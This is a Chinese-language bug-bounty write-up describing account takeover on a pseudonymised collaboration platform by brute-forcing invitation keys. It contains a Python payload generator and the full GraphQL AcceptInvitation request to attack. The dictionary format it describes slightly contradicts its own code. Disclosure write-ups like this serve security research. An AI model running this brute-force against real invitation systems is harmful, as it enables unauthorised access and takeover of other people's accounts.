前言
ExampleSpark(化名)是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。
1、邀请用户
1.1、登录 ExampleSpark 上的管理员帐户。
1.2、导航到团队管理部分。
1.3、邀请用户,生成一个邀请链接,其中包含带有用户 ID 的 base64 编码字符串和 7 位 OTP(一次性密码)。
2、低级账户访问
2.1、登录 ExampleSpark 上的低级别帐户。
3、提取用户 ID
3.1、转到团队管理部分并选择受邀用户。
3.2、从 URL 中提取用户 ID
https://app.examplespark.com/users/User:<user_id>。
例如userid为018dee9c-a9be-04f8-0000-fb5b23eef4d2
4、准备字典
4.1、字典格式为:userid的base64编码+7位otpcode
例如:
MDE4ZGVlOWMtYTliZS0wNGY4LTAwMDAtZmI1YjIzZWVmNGQyO39426NQ
4.2、生成包含7 位随机字母数字的OPT,再拼接上id的base64编码,得到字典:
代码如下:
import random
import base64
def generate_otp():
# Generate a random 7-digit alphanumeric OTP
characters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
otp = ''.join(random.choice(characters) for i in range(7))
return otp
def convert_to_base64(data):
# Convert the data to base64
data_bytes = data.encode('utf-8')
base64_encoded = base64.b64encode(data_bytes).decode('utf-8')
return base64_encoded
# Constant user ID
user_id = "018dee9c-a9be-04f8-0000-fb5b23eef4d2"
# Number of OTPs to generate (updated to 1000)
num_otps = 1000
# Generate payloads and create a list
payload_list = []
for _ in range(num_otps):
otp = generate_otp()
payload = f"{user_id}:{otp}"
base64_payload = convert_to_base64(payload)
payload_list.append(base64_payload)
# Print the generated payloads and their base64 representations
for i, payload in enumerate(payload_list, start=1):
print(f"Payload {i}: {payload}")
5、攻击
接收邀请的请求包如下:
POST /graphql/frontend?n=AcceptInvitation HTTP/2
Host: app.examplespark.com
Cookie: [session cookies]
Content-Length: 616
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
Accept: */*
X-Graphql-Operation: AcceptInvitation
Sec-Ch-Ua-Platform: "Linux"
Origin: https://app.examplespark.com
Referer: https://app.examplespark.com/invitations/MDE4ZGVkZWUtZWZiZS0wNGY4LTAwMDAtN2I4YWRmZDAwYjQ1OjAxMzI2NQ
{"operationName":"AcceptInvitation","variables":{"invitation_key":"","name":"","password":""},"query":"mutation AcceptInvitation($invitation_key: String!, $name: String!, $password: String!) {n accept_invitation(n input: {invitation_key: $invitation_key, name: $name, password: $password}n ) {n account_idn user {n idn statusn ...AuthUserLoginn __typenamen }n __typenamen }n}nnfragment AuthUserLogin on User {n idn emailn display_namen session_valid_untiln __typenamen}"}
选择invitation_key参数,添加字典并开始攻击。
6、账户接管
响应为 200 OK 状态、长度为 1142时表示成功接受邀请。
攻击者可以接受邀请并获得未经授权的访问权限,并可能根据受邀用户的角色提升权限。
原文出处:
https://medium.com/bugbountywriteup/500-for-cracking-invitation-code-for-unauthorized-access-account-takeover-558c663fb947
https://space.bilibili.com/602205041
原文始发于微信公众号(芳华绝代安全团队):破解邀请码实现未授权访问和账户接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论